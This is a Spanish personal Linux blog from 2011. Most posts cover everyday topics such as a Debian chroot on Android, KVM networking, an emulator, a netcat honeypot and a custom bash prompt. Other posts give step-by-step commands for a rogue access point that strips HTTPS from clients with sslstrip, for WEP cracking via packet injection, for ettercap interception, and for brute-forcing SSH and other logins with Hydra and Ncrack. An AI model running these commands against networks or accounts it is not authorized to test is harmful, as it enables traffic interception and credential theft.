Mostrando entradas con la etiqueta Linux. Mostrar todas las entradas
Mostrando entradas con la etiqueta Linux. Mostrar todas las entradas

lunes, diciembre 05, 2011

AP, SSLStrip en Debian

Siempre he tenido ganas de montar un AP en una máquina Linux, pero vamos a ir un poco mas allá y vamos a instalar bind, dhcp3-server y sslstrip para que nuestro AP dé un poco mas de juego.

Mediante Bind podremos resolver nosotros mismos las direcciones ip de nuestros clientes, con el servidor DHCP repartiremos ips y con SSLStrip podremos hacer de intermediarios en las peticiones HTTPS realizando las peticiones HTTPS al servidor final y HTTP a nuestros clientes, de este modo el tráfico solo viajará cifrado desde el AP al servidor final.

Instalamos el software necesario:
apt-get install bind9 dhcp3-server hostapd aircrack-ng

Necesitamos una interfaz en modo monitor(mon0), utilizaremos el direccionamiento 192.168.2.X:
airmon-ng start wlan0
ifconfig mon0 192.168.2.1

Configuramos hostapd con la intefaz de red y el SSID:
vi /etc/hostapd/hostapd.conf
interface=mon0
driver=nl80211
ssid=LA QUE MONTA ESTA
hw_mode=g
channel=1

Arrancamos hostapd con la configuración anterior:
/usr/sbin/hostapd /etc/hostapd/hostapd.conf

Configuramos un servidor DHCP para que los clientes que se conecten a nuestro AP reciban una dirección ip:

vi /etc/dhcp/dhcpd.conf
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.2 192.168.2.4;
option domain-name-servers 8.8.8.8;
option routers 192.168.2.1;
}

Habilitamos el enmascaramiento(NAT)
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -d 0.0.0.0/0 -j MASQUERADE

Y ahora obramos el milagro, las peticiones dirigidas al puerto 80 la enviamos a localhost 10000:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Ahora arrancamos sslstrip, este se mantendrá a la espera de peticiones en el puerto 10000:
cd /usr/src
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
tar xvzf sslstrip-0.9.tar.gz
cd sslstrip-0.9
python sslstrip.py -w salida

Dejamos tail monitorizando el fichero de salida de SSLStrip:
tail -f /usr/src/sslstrip-0.9/salida

domingo, diciembre 04, 2011

Rootear LG Optimus2X desde Linux.

En este articulo voy a explicar como rootear nuestro querido LG Optimus 2X, rootearlo nos permitirá instalar software que de otro modo no funcionaría correctamente, además seremos capaces de flashear nuestro teléfono con ROMs no oficiales.

Activamos la opción de debug / desarrolladores (AJUSTES - APLICACIONES - DESARROLLO - DEPURACION USB)

Descomprimimos el tar.gz y asignamos permisos de ejecución:
chmod +x root.command
chmod +x files/shared.sh
chmod +x files/adb_linux

Comenzamos con el proceso:
./root.command

Ahora ya podremos poner cualquier ROM, yo personalmente estoy bastante contento con la MIUI, es muy rápida pero se come la bateria que da gusto...

Para instalar la ROM debemos utilizar una utilidad del tipo RecoveryBoot, tendremos que copiar la imagen de la ROM en la tarjeta SD externa y luego desde el menú del recovery:
- wipe data/factory reset
- wipe cache partition
- install zip from sdcard --> choose zip from sdcard

Cuando termine ya tendremos la ROM instalada, para cambiarla por otra tendremos que acceder de nuevo al Recovery y repetir el proceso.

Preparar wifi para inyección de paquetes.

Seguramente hayáis leído algo acerca de la seguridad en redes wireless, pero también habréis notado que la gran mayoría de estos documentos están pensados para utilizarlos en un sistema con la Backtrack corriendo.
En esta ocasión vamos a preparar nuestro sistema para que sea capaz de inyectar tráfico sin tener que emplear tan conocida distro.

Las piezas necesarias para poder realizar la inyección de paquetes son:
  • Compat-Wireless: Se trata de la pila wireless del kernel, separándola del kernel podremos probar parches que afectan a dicha pila sin tener que parchear el kernel.
  • Kernel: El resto de drivers.
  • AirCrack-NG

Lo primero será instalar AirCrack-NG:
apt-get install aircrack-ng

Compilamos las fuentes del kernel, en nuestro caso vamos a hacerlo para el kernel-3.0.2:
cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.0.2.tar.bz2

Habilitamos los drivers de nuestra tarjeta de red(en mi caso ath9k):
Device drivers --> Network Device Support --> Wireless lan --> Atheros Wireless Card:
Atheros 802.11n wireless card support
Atheros ath9k PCI/PCIe bus support

También hacen falta los drivers de Intel, solo Dios sabe porque.....:
Device drivers --> Network Device Support --> Wireless lan --> Intel PRO/Wireless 2100 Network Connection

En la versión 3 del kernel ya no hay que hacer nada de forma manual, nos copiará la imagen del kernel a boot y generará una entrada en el grub.

Reiniciamos el equipo con el kernel nuevo y testeamos la inyección con:
airmon-ng start wlan0
aireplay-ng -9 mon0


Podemos ver las redes que se encuentran a nuestro alcance con:
airodump-ng mon0
airodump-ng --channel "CANAL" mon0

Pero en la primera línea aparecerá un problemilla, si nos fijamos el canal en el que se encuentra la tarjeta es el -1:
CH 9 ][ Elapsed: 4 s ][ 2011-11-01 19:32 ][ fixed channel mon0: -1

Cuando intentemos asociarnos al AP y aparece de nuevo el problema del canal:
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
19:35:46 Waiting for beacon frame (BSSID: 09:01:CF:3F:DF:59) on channel -1
19:35:46 mon0 is on channel -1, but the AP uses channel 9

Para solventar esto tendremos que bajarnos compat-wireless y los parches pertinentes.
cd /usr/src
wget http://www.orbit-lab.org/kernel/compat-wireless-3.0-stable/v3.0/compat-wireless-3.0-2.tar.bz2
tar -jvxf compat-wireless-3.0-2.tar.bz2
cd compat-wireless-3.0-2
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < channel-negative-one-maxim.patch

Se puede optar por compilar todos los drivers o solo los correspondientes a nuestra tarjeta de red, si solo queremos compilar un módulo concreto(este script solo soporta algunas tarjetas, ath9k sí ;) ):
./scripts/driver-select --> Listamos módulos disponibles
./scripts/driver-select ath9k
make
make install
reboot

En el caso de que se quieran compilar todos los drivers:
make
make install
make wlunload
modprobe driver-name
reboot


Si decidimos desinstalar los módulos generados:
cd compat-wireless-...
make uninstall
make wlunload
modprobe "módulo original" o reiniciar

Ahora ya estamos en condiciones de proceder con la inyección de paquetes:
airmon-ng start wlan0
airodump-ng mon0
airodump-ng --channel "CANAL" mon0
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
aireplay-ng -3 -b MAC_AP -h MI_MAC mon0 --> Empezamos a inyectar tráfico
airodump-ng --channel CANAL --bssid MAC_AP --write "nombre_fichero" mon0 --> Empezamos a capturar paquetes
aircrack-ng -a 1 "nombre_fichero.cap" --> Crackeamos los paquetes


Seguro que este articulo le es de ayuda a mas de uno, en mi caso tardé un tiempo en recopilar toda la información necesaria.

sábado, octubre 22, 2011

Cambio de prompt ^_^

Este es un pequeño truco con el que conseguiremos un prompt muy especial, cuando ejecutemos un comando correctamente nos mostrará ^_ ^ en verde y si el comando es incorrecto nos mostrará 0_0 en rojo.
Para conseguir esto editamos el fichero .bashrc de nuestro home y añadimos:
PS1="\`if [ \$? = 0 ]; then echo \[\e[33m\]^_^\[\e[0m\]; else echo \[\e[31m\]O_O\[\e[0m\]; fi\` \[\033[01;32m\]\u:\[\033[01;34m\]\w \$\[\033[00m\]"

Ya lo tendríamos listo, a disfrutar ;)

domingo, octubre 09, 2011

Ettercap en Android

Siguiendo con las frikerias en Android vamos a instalar ettercap en nuestra Debian "chrooteada" dentro de nuestro Android.
Instalamos ettercap con soporte gráfico:
apt-get install ettercap-gtk

Habilitamos iptables para el reenvío de tráfico:
vi /etc/etter.conf
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport
"

Habilitamos el enrutado en el chroot:
echo 1 > /proc/sys/net/ipv4/ip_forward

Para que ettercap funcione bien en el chroot tendremos que ejecutarlo con UID=0
vi /etc/etter.conf
[privs]
#ec_uid = 65534 # nobody is the default
ec_uid = 0 # nobody is the default
ec_gid = 65534 # nobody is the default

Guardamos y listo!! Ya podemos utilizar ettercap como si de un Linux normal se tratase ;)

miércoles, octubre 05, 2011

Debian mediante chroot en Android

Llevo tiempo sin escribir ningún artículo pero os aseguro que la espera ha valido la pena.

En esta ocasión vamos a instalar nuestra distro preferida en nuestro teléfono móvil, lo haremos mediante la técnica de "chrooting", de este modo conservaremos nuestro Android intacto y solo arrancaremos la Debian cuando lo deseemos.
Bueno dicho lo dicho empezamos:

Tendremos que ganar acceso root en nuestro terminal, este paso es diferente para cada móvil, para el mío(LG Optimus 2X) se puede hacer siguiendo este procedimiento.

Instalaremos un servidor ssh para acceder a nuestro Android de forma remota, el sshdroid funciona muy bien y además podremos encontrarlo de forma gratuita en el market.

Necesitaremos saber el esquema de particiones que tenemos en Android, para ello conectamos por ssh al móvil y empleamos el comando mount, buscamos la línea que corresponde con el punto de montaje /system:

/dev/block/mmcblk0p1 on /system type ext4 (ro,noatime,errors=continue,barrier=1,data=ordered)

El dato que debemos anotar es: /dev/block/mmcblk0p1

Ahora instalamos en la Debian de nuestra computadora un software llamado debootstrap y generamos el fichero de la Debian del chroot, este fichero puede tener el tamaño que deseemos, pero en mi caso como quiero poder almacenarlo en la tarjeta MicroSD(VFAT) será de 4Gb(el máximo tamaño en VFAT):

apt-get install debootstrap
dd if=/dev/zero of=debian.img bs=1024 count=3955078
mke2fs -F debian.img
mkdir debian
mount -o loop debian.img debian/
debootstrap --verbose --arch armel --foreign squeeze debian http://ftp.us.debian.org/debian
umount debian/
rm -r debian/


Con esto ya tenemos un fichero llamado debian.img con un sistema Debian mínimo, lo copiamos a la tarjeta MicroSD.

Para poder montar la imagen debemos poder escribir en la partición /system, por defecto se monta con permisos de solo eslectura, así que accedemos al móvil por ssh y ejecutamos:
mount -o remount,rw -t ext4 /dev/block/mmcblk0p1 /system

Montamos la imagen de Debian en /data/local/debian:
mkdir /data/local/debian
mount -t ext2 -o rw,noatime,nodiratime,loop /mnt/sdcard/_ExternalSD/debian.img /data/local/debian

Vinculamos proc y sysfs al entorno chroot:
mount -t proc /proc /data/local/debian/proc
mount -t sysfs /sysfs /data/local/debian/sys


Habilitamos el enrutado:
sysctl -w net.ipv4.ip_forward=1

Definimos DNS y /etc/hosts en el chroot:
echo "nameserver 8.8.8.8" > /data/local/debian/etc/resolv.conf
echo "nameserver 8.8.4.4" >> /data/local/debian/etc/resolv.conf
echo "127.0.0.1 localhost" > /data/local/debian/etc/hosts


Montamos las Tarjetas SD(tanto interna del móvil como la MicroSD):
mkdir /data/local/debian/mnt/sdcard
mkdir /data/local/debian/mnt/sdcard/_ExternalSD


mount --bind /mnt/sdcard/ /data/local/debian/mnt/sdcard
mount --bind /mnt/sdcard/_ExternalSD /data/local/debian/mnt/sdcard/_ExternalSD


Accedemos al entorno chroot:
chroot /data/local/debian /bin/bash

Terminamos la instalación e instalamos software interesante:
/debootstrap/debootstrap --second-stage
echo 'deb http://ftp.us.debian.org/debian
squeeze main' > /etc/apt/sources.list
apt-get install lxde tightvncserver ettercap-gtk nmap vim netcat

Nos pedirá la configuración de teclado.

apt-get autoclean
apt-get update


Salimos del chroot:
exit

Desmontamos el chiringuito:
umount /data/local/debian/mnt/sdcard/_ExternalSD
umount /data/local/debian/mnt/sdcard
umount /data/local/debian



Ya está ya tenemos una Debian chrooteada, así de fácil, cada vez que queramos acceder a ella tendremos que realizar el proceso de montaje de la imagen, vinculación de /proc /sysfs,......

Para automatizar esto he escrito un script que lo hace por nosotros.
cd /system/xbin/
vi bootdebian.sh

clear
echo " "
echo " "
echo " "
echo +---------------------------------------+
echo "|||| CyberDyne Systems ||||"
echo +---------------------------------------+
echo " "
echo " "
echo " "


echo "Montando /system como R/W"
mount -o remount,rw -t ext4 /dev/block/mmcblk0p1 /system

echo ----------------------------------------
echo "Definiendo variables"
export bin=/system/bin
export img=/mnt/sdcard/_ExternalSD/debian.img
export mnt=/data/local/debian
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
export TERM=linux
export HOME=/root

if [ ! -d $mnt ]; then
mkdir $mnt
fi

echo ----------------------------------------
echo LISTADO VARIABLES:
echo BIN: $bin
echo IMG: $img
echo MNT: $mnt
echo PATH: $PATH
echo TERM: $TERM
echo HOME: $HOME
echo ----------------------------------------



echo ----------------------------------------
echo "Montando la imagen Debian"
echo "mount -t ext2 -o rw,noatime,nodiratime,loop $img $mnt"
busybox mount -t ext2 -o rw,noatime,nodiratime,loop $img $mnt

echo ----------------------------------------
echo "Vinculando pts, proc y sysfs al entorno chroot"
busybox mount -t devpts /dev/pts $mnt/dev/pts
busybox mount -t proc /proc $mnt/proc
busybox mount -t sysfs /sysfs $mnt/sys

echo ----------------------------------------
echo "Habilitando enrutado"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo ----------------------------------------
echo "Definiendo DNS y /etc/hosts en el chroot"
echo "nameserver 8.8.8.8" > $mnt/etc/resolv.conf
echo "nameserver 8.8.4.4" >> $mnt/etc/resolv.conf
echo "127.0.0.1 localhost" > $mnt/etc/hosts

echo ----------------------------------------
echo "Montando /mnt/sdcard en el chroot"
if [ ! -d $mnt/mnt/sdcard ]; then
mkdir $mnt/mnt/sdcard
fi

busybox mount --bind /mnt/sdcard/ $mnt/mnt/sdcard


echo ----------------------------------------
echo "Montando /mnt/sdcard/_ExternalSD en el chroot"
if [ ! -d $mnt/mnt/sdcard/_ExternalSD ]; then
mkdir $mnt/mnt/sdcard/_ExternalSD
fi

busybox mount --bind /mnt/sdcard/_ExternalSD $mnt/mnt/sdcard/_ExternalSD



echo #####################################
echo "Entering The MATRIX... "
echo " "
chroot $mnt /bin/bash

echo " "
echo #####################################
echo "Saliendo The MATRIX... "
echo " "

echo ----------------------------------------
echo "Desmontando /mnt/sdcard/_ExternalSD en el chroot"
busybox umount $mnt/mnt/sdcard/_ExternalSD

echo ----------------------------------------
echo "Desmontando /mnt/sdcard en el chroot"
busybox umount $mnt/mnt/sdcard

echo ----------------------------------------
echo "Deshabilitando enrutamiento"
sysctl -w net.ipv4.ip_forward=0

echo ----------------------------------------
echo "Desvinculando pts, proc y sysfs del chroot"
busybox umount $mnt/dev/pts
busybox umount $mnt/proc
busybox umount $mnt/sys

echo ----------------------------------------
echo "Desmontando imagen Debian"
busybox umount $mnt

echo ----------------------------------------
echo "Remontando /system como solo lectura"
busybox mount -o remount,ro -t ext4 /dev/block/mtdblock3 /system
echo ----------------------------------------

Guardamos y salimos.

Le asignamos el 777 de la muerte:
chmod 777 /system/xbin/bootdebian.sh

Lo ejecutamos:
bootdebian.sh

Con todo esto tenemos una Debian totalmente operativa, pero vamos a ponerle la guinda al pastel consiguiendo las X en este sistema, yo personalmente no he sido capaz de arrancar las X dentro del chroot, lo que hago es arrancar un servidor VNC y conectar desde Android a la Debian del chroot.

Para arrancar el servidor VNC dentro del chroot es necesario definir cierta variable y eliminar ficheros de sesiones VNC anteriores:
export USER=root
rm /tmp/.X*-lock
rm /tmp/.X11-unix/X*
vncserver -geometry 800x480


Pedirá password

Para no tener que hacer esto cada vez que queremos arrancar el servicio nos creamos un mini-script:

vi vnc.sh

#!/bin/bash
export USER=root
rm /tmp/.X*-lock 2>/dev/null
rm /tmp/.X11-unix/X* 2>/dev/null
vncserver -geometry 800x480

chmod +x vnc.sh
./vnc.sh

Ahora desde Android con algún cliente VNC del estilo androidVNC ya podremos conectar en local al servidor del chroot y obtendremos un bonito gestor de ventanas como respuesta ;)

Cuando se salga del chroot hay que matar vnc y la sesión lxde:
vi kill_VNC.sh

#!/bin/bash

PIDS_VNC=$(pidof Xtightvnc)
echo -------------------------
echo Matando Procesos VNC
for i in $PIDS_VNC
do
echo Matando proceso: $i
kill $i
done

PIDS_LXDE=$(pidof lxsession)
echo -------------------------
echo Matando Procesos LXDE
for i in $PIDS_LXDE
do
echo Matando proceso: $i
kill $i
done
echo -------------------------

chmod +x kill_VNC.sh

Ahun así cuando se sale no es capaz de desmontar la imagen de Debian pero si se entra y se sale de nuevo suele funcionar.
Misterios de la vida.....

Bueno esto es todo, espero que le saqueis provecho a todo esto y recordad que tener Linux instalado en el móvil es como llevar siempre encima un micro portatil ;)))

martes, mayo 24, 2011

Virtualización con Kernel-based Virtual Machine KVM

KVM es una solución de virtualización que se apoya en Qemu como software de virtualización y en unos módulos del kernel para aprovechar los registro VT en procesadores Intel y SVM en los AMD.

Lo primero que haremos será configurar estos módulos en nuestro kernel:
Virtualization --> Kernel-based Virtual Machine (KVM) support --> KVM for Intel processors support

NOTA: En mi caso se trata de un microprocesador de Intel.

Instalamos las aplicaciones a nivel de usuario, para que la gestión de las máquinas virtuales sea mas cómoda también vamos a instalar una utilidad de gestión:
apt-get install qemu-kvm aqemu

Desde aqemu debe ser posible acceder a diferentes funcionalidades de Linux que solo es posible acceder con permisos de root, se pueden cambiar los permisos de diferentes dispositivos pero los mas fácil es editar los comandos permitidos por sudo:
visudo
"usuario" ALL=(root)NOPASSWD: /usr/bin/aqemu

KVM tiene el tema de gestión de red un poco verde, si tenemos una tarjeta de red ethernet no hay problema, tan solo habrá que generar un bridge de la tarjeta cableada pero si la tarjeta de red es inalámbrica en principio esto no es posible, a continuación explicaré como resolver cada uno de los escenarios.

Instalamos el software necesario:
apt-get install uml-utilities parprouted bcrelay

Red cableada:

Para que las máquinas virtuales puedan integrarse en nuestra red cableada es necesario crear un bridge entre nuestra tarjeta de red ethernet y una interfaz tap.

Generamos la interfaz y la levantamos:

tunctl -t tap0
ifconfig tap0 up

Creamos el bridge y le añadimos la interfaz ethernet y la virtual:
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 tap0

Reconfiguramos la interfaz ethernet para que no posea ninguna dirección IP y le asignamos una al bridge:

ifconfig eth0 0.0.0.0
dhclient br0


Ahora asociamos nuestra tap0 a la máquina virtual:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Nuestra máquina virtual ya se comportará como si se tratase de un equipo físico conectado a la red ;)

Red wireless:

En la red wireless debemos hacer dos distinciones según el método de asignación de direcciones IP a las máquinas virtualizadas:

IP estática:

Habilitamos el enrutado en el kernel:
echo 1 > /proc/sys/net/ipv4/ip_forward

Generamos una interfaz TAP:
tunctl -t tap0
ifconfig tap0 up

Le asignamos una ip de nuestra red:
ifconfig tap0 192.168.1.100

Con Parprouted conseguiremos hacer magia, se trata de un proxy ARP a nivel 3 ;))
parprouted wlan0 tap0

Añadimos una ruta estática para la máquina virtual:
route add -host 192.168.1.200 dev tap0

Ahora configuramos la máquina virtual en qemu:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Dentro de la máquina virtual se configurará la direcciín IP de forma estática indicandole la IP: 192.168.1.200

Con esto la máquina virtual se podrá comunicar con Internet y con la máquina anfitrión.


IP dinámica:

Habilitamos el enrutado en el kernel:
echo 1 > /proc/sys/net/ipv4/ip_forward

Generamos una interfaz TAP:
tunctl -t tap0
ifconfig tap0 up

Le asignamos una ip de nuestra red:
ifconfig tap0 192.168.1.100

Habilitamos el proxy ARP de capa3:
parprouted wlan0 tap0

Parprouted tiene un inconveniente y es que solo permite el paso de tráfico unicast por el bridge, por lo tanto las peticiones DHCP serán capadas, pero existe la herramienta bcrelay que solventa este problema:
bcrelay -i tap0 -o wlan0 &

Ahora configuramos la máquina virtual en qemu:
Connection mode: Open a TUN/TAP interface
TUN/TAP Script Deshabilitado
Interface name: tap0

Dentro de la máquina virtual se configurará la dirección IP de forma dinámica.


NOTA: Las direcciones IP para las interfaces TAP he decidido que empiezen por la 100 y las IPs de las máquinas virtuales a partir de la 200, estos rangos son totalmente arbitrarios, yo los elegí porque son rangos libre de mi direccionamiento

Para cada máquina virtual habrá que añadir una interfaz tap distinta ocupando una ip de nuestra red :(
Si queremos que las máquinas virtuales puedan comunicarse entre ellas habrá que "bridgearlas" entre ellas:
parprouted tap0 tap1

De este modo nos podremos olvidar de los tediosos problemas que dan Vmware y VirtualBox cuando recompilamos el kernel, módulos que no compilan o ñapas en el código......

NOTA: Si se configura una máquina virtual Linux para que pida dirección por DHCP no funciona, este es un tema en el que seguiré indagando.

Dejo estos scripts para que todo sea automático, nos generará un TAP por máquina vritual, le asignará un IP y la meterá en un bridge junto con el resto de máquinas consiguiendo que todos puedan verse con todos y además tengan acceso a Inet ;), además el script configura de forma automática las intyerfaces con bcrelay.

Para que funcionen tendremos que definir algunas variables en AQemu_UP.sh

- AQemu_UP.sh
#!/bin/bash
clear
echo "|---------------------------------------|"
echo "| Script configuracion interfaces AQemu |"
echo "| By Kr0m V0.1b |"
echo "|---------------------------------------|"
echo " "
echo " "


rm -rf /tmp/TAPS 2>/dev/null
rm -rf /tmp/IP_VM 2>/dev/null

DIR_AQEMU=/mnt/datos/AQemu
N=0
RED_TAP=192.168.1.
IP_TAP=100
RED_VM=192.168.1.
echo $RED_VM > /tmp/RED_VM
IP_VM=200
echo $IP_VM > /tmp/IP_VM
WIFI=wlan0

echo 1 > /proc/sys/net/ipv4/ip_forward

for i in $DIR_AQEMU/*.aqemu
do
#echo i: $i
#echo N: $N
#echo IP_TAP: $IP_TAP
#echo IP_VM: $IP_VM
tunctl -t tap$N
ifconfig tap$N up
ifconfig tap$N $RED_TAP$IP_TAP
route add -host $RED_VM$IP_VM dev tap$N
bcrelay -i tap$N -o $WIFI &
let N=$N+1
let IP_TAP=$IP_TAP+1
let IP_VM=$IP_VM+1
done

N=$((N-1))
#echo N: $N
parprouted $WIFI $(for t in $(seq 0 $N); do echo tap$t; done)

echo $N > /tmp/TAPS

echo " "
echo " "
echo "---------- INTERFACES DE RED ---------------"
ifconfig

echo " "
echo "---------- TABLA DE RUTAS ------------------"
route -n

echo " "
echo "---------- PROCESOSO ARRANCADOS ------------------"
ps aux | grep bcrelay | grep -v grep
ps aux | grep parprouted | grep -v grep


- AQemu_DOWN.sh
#!/bin/bash
clear
echo "|---------------------------------------------|"
echo "|Script eliminacion interfaces AQemu |"
echo "|---------------------------------------------|"
echo " "
echo " "

echo 0 > /proc/sys/net/ipv4/ip_forward

N=$(cat /tmp/TAPS)
for i in $(seq 0 $N)
do
ifconfig tap$i down
done

killall parprouted
killall bcrelay

echo " "
echo " "
echo "------------- INTERFACES DE RED ---------------"
ifconfig

echo " "
echo "------------- TABLA DE RUTAS ------------------"
route -n

echo " "
echo "------------- PROCESOS ARRANCADOS ------------------"
ps aux | grep bcrelay | grep -v grep
ps aux | grep parprouted | grep -v grep

NOTA: Estos scripts precisan de privilegios de root, para ello configuraremos sudo de tal modo que:
"usuario" ALL=(root)NOPASSWD: "ruta AQemu_UP.sh"
"usuario" ALL=(root)NOPASSWD: "ruta AQemu_DOWN.sh"

martes, mayo 17, 2011

NeoGeo

El otro día me entró el gusanillo de jugar a algún juego de estos de la vieja escuela, tipo Metal Slug así que me dispuse a instalar un emulador de NeoGeo (gngeo).

Nos bajamos el emulador de aquí.
tar xvzf gngeo-****.tar.gz
cd gngeo-****/
./configure
make
make install

Bajamos la interfaz gráfica de aquí.
bzip2 -dc XGngeo-****.tar.bz2 | tar xv
cd XGngeo-****l
./setup.py install

La interfaz gráfica tiene algunos bugs que se pueden solventarse del siguiente modo:
mkdir -p /usr/share/xgngeo
cp -r XGngeo-16/data/img/ /usr/share/xgngeo/
mkdir -p /usr/lib/python2.6/site-packages/xgngeo
cp XGngeo-16/data/py/* /usr/lib/python2.6/site-packages/xgngeo

Nos hará falta la BIOS de la consola.
Cuando arranquemos el gestor gráfico nos aparecerá un asistente donde le indicaremos la ruta de ciertos ficheros como:
  • El directorio de la BIOS.
  • El directorio donde se encuentra el driver de las ROMs: Este directorio creo que no se emplea para nada
  • El ejecutable de gngeo.

Con esto ya estamos preparados para jugar al Metal Slug entre otros ;;)

Ncrack

Hace poco escribí un artículo sobre como crackear logins de acceso mediante Hydra, explicaba que se alcanzaba el máximo número de ficheros abiertos simultaneamente en nuestro sistema y por esta razón había que modificar ciertos parámetros, cual ha sido mi sorpresa cuando esto seguía ocurriendo incluso después de aplicar los cambios.

A raíz de esto me he dispuesto a probar Ncrack. Este programa viene de la mano de los creadores de nmap y cuenta con soporte para los siguientes protocolos:
  • FTP
  • TELNET
  • SSH
  • HTTP/S
  • SMB
  • RDP
  • VNC
  • POP3/S

Se encuentra en fase alpha pero parece funcionar bien ;)

Primero deberemos instalar la librería libssh(no estoy seguro de si este paso es estrictamente necesario):
http://www.libssh.org/files/
tar xvzf libssh...
cd ...
mkdir build
cd build
cmake ..
make
su
make install

Nos bajamos Ncrack lo compilamos y lo instalamos:
wget http://nmap.org/ncrack/dist/ncrack-******.tar.gz
tar xvzf ncrack-******.tar.gz
cd ncrack-******.tar.gz
./configure
make
make install

Un ejemplo de uso:
ncrack -iL HOSTS -p ssh -U USER -P PASS

Donde HOSTS es el listado de ips, ssh el servicio, USER el listado de usuarios y PASS la lista de passwords.
A disfrutar que la vida son dos días!!

domingo, mayo 15, 2011

Service tag desde la línea de comandos.

El service tag es un numerito que los fabricantes de equipos piden a los clientes para saber que equipo compraron en su momento, este número puede ser obtenido desde la línea de comandos con la orden:
dmidecode -s system-serial-number

Puede ser útil para llevar una base de datos de los service tags de nuestra empresa, mediante un script en expect resultaría bastante sencillo generar la base de datos ;)

Correspondencia UUID (Universally Unique Identifier) partición

En la última versión de Debian el fstab ya viene con los UUID (Universally Unique Identifier) configurados para hacer referencia a las particiones de nuestro sistema, yo personalmente odio estos números sin sentido ya que no puedo ver de un vistazo que partición se monta sobre que directorio (Sí ya se que en los comentarios pone la partición).
El empleo de UUID tiene una ventaja (y seguramente alguna mas) en cuanto a dispositivos de almacenamiento externos como discos duros USB. Si tenemos dos discos, cada uno con su UUID y el fstab configurado por UUID cuando conectemos alguno de ellos se montará en el directorio especificado en el fstab sin importar el orden de conexión.

Ahora supongamos que configuramos el fstab por "dispositivo" con las entradas:
/dev/sda1 /mnt/usb1 ext4 defaults 0 2
/dev/sdb1 /mnt/usb2 ext4 defaults 0 2

El primer disco que conectemos será /dev/sda1 y el segundo /dev/sda2, por lo tanto si conectamos el disco usb2 será el dispositivo /dev/sda1 y se montará en el directorio /mnt/usb1 cosa que no queremos que ocurra!!!

Si queremos ver la correspondencia de UUID a partición es tan sencillo como ejecutar:
ls -l /dev/disk/by-uuid/

Yo personalmente lo tengo configurado por dispositivo las particiones del sistema y por UUID los discos externos ;)

sábado, mayo 14, 2011

Crackeador Hydra

THC-Hydra es una herramienta que nos permite crackear cuentas de usuario de varios servicios:
cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get} http[s]-{get|post}-form http-proxy icq irc imap ldap2 ldap3[-{cram|digest}md5] mssql mysql ncp nntp oracle-listener oracle-sid pcnfs pop3 pcanywhere postgres rexec rlogin rsh sip smb smbnt smtp smtp-enum snmp socks5 ssh svn teamspeak telnet vnc vmauthd xmpp

Para que poder crackear cada uno de los servicios debemos tener instaladas las librerias que requiera cada uno de los servicios. En nuestro caso nos vamos a centrar en SSH.

Primero deberemos instalar la librería libssh:
http://www.libssh.org/files/
tar xvzf libssh...
cd ...
mkdir build
cd build
cmake ..
make
su
make install

Ahora ya estamos listos para instalar Hydra(la última versión estable NO compila correctamente a fecha e este artículo):
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
tar xvzf hydra.....
cd ...
./configure
make
su
make install

Un ejemplo de uso de Hydra podría ser este:
hydra -l "usuario" -P "Fichero_passwords" -M "Fichero_ips" ssh

Hydra abre muchos ficheros simultaneamente en el sistema para realizar el proceso de crackeo de forma paralela, de este modo comprueba de forma simultánea varias cuentas, pero esto puede hacer que se alcance el límite impuesto por el sistema de ficheros abiertos.

Para comprobar cuantos ficheros hay abiertos actualmente es tan fácil como:
lsof | wc -l

Podemos consultar el límite con:
sysctl fs.file-max

Si vemos que se supera editamos el fichero /etc/sysctl.conf y aumentamos el límite del parámetro fs.file-max.
Para aplicar los cambios ejetuamos:
sysctl -p

También es posible que nos esté limitando PAM con sus restricciones, para evitar esto editamos el fichero /etc/security/limits.conf

"usuario" hard nofile "max nº de ficheros"

Con esto ya no creo que haya mayor problema a la hora de crackear ;)

CORRECCIÖN: Sigue apareciendo el error del límite de ficheros abiertos, no se si se debe a que la versión que he compilado es una versión beta :(

jueves, abril 14, 2011

HoneyPot básico

Hola amigos, en esta ocasión vamos a preparar un HoneyPot muy básico, este nos permitirá guardar un registro de los comandos enviados al supuesto servicio vulnerable.

Los primero será tener instalado netcat:
apt-get install netcat

Ahora generamos el Script del HoneyPot (honey.sh):
#!/bin/bash

buff="220 ProFTPD 1.3.3c Server (ProFTPD)"
rm -rf /var/log/honeylog.log 2>/dev/null

for i in $(ps aux|grep honey|grep -v grep|grep -v $$| awk '{print $2}'); do kill -9 $i 2>/dev/null; done

while [ 1 ]; do
echo $buff | netcat -v -l -p 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log
done


Como se puede observar nos hacemos pasar por el servicio ProFTPD 1.3.3c y los logs son guardados en /var/log/honeylog.log, con un tail -f /var/log/honeylog.log podremos ver los accesos en tiempo real.

Cabe destacar que se puede indicar el banner que se desee haciendose pasar por cualquier otro servicio.

Espero que hayais disfrutado con este articulillo, fácil y rápido, que mas se puede pedir ;)

sábado, abril 02, 2011

Permisos en Linux, la guía definitiva.

Los permisos de directorios y ficheros en el mundo Linux son muy sencillos en un principio pero cuando empezamos a tener en cuenta el sticky bit y otras herramientas como chattr la cosa se complica. Todo administrador debería de tener estos conceptos muy claros ya que si no es así el sistema se convertirá en un queso de gruyere en dos días.
En este manual se va a explicar desde los mas básico a lo mas complejo.

-----------------------------------------------------------

PERMISOS BÁSICOS:
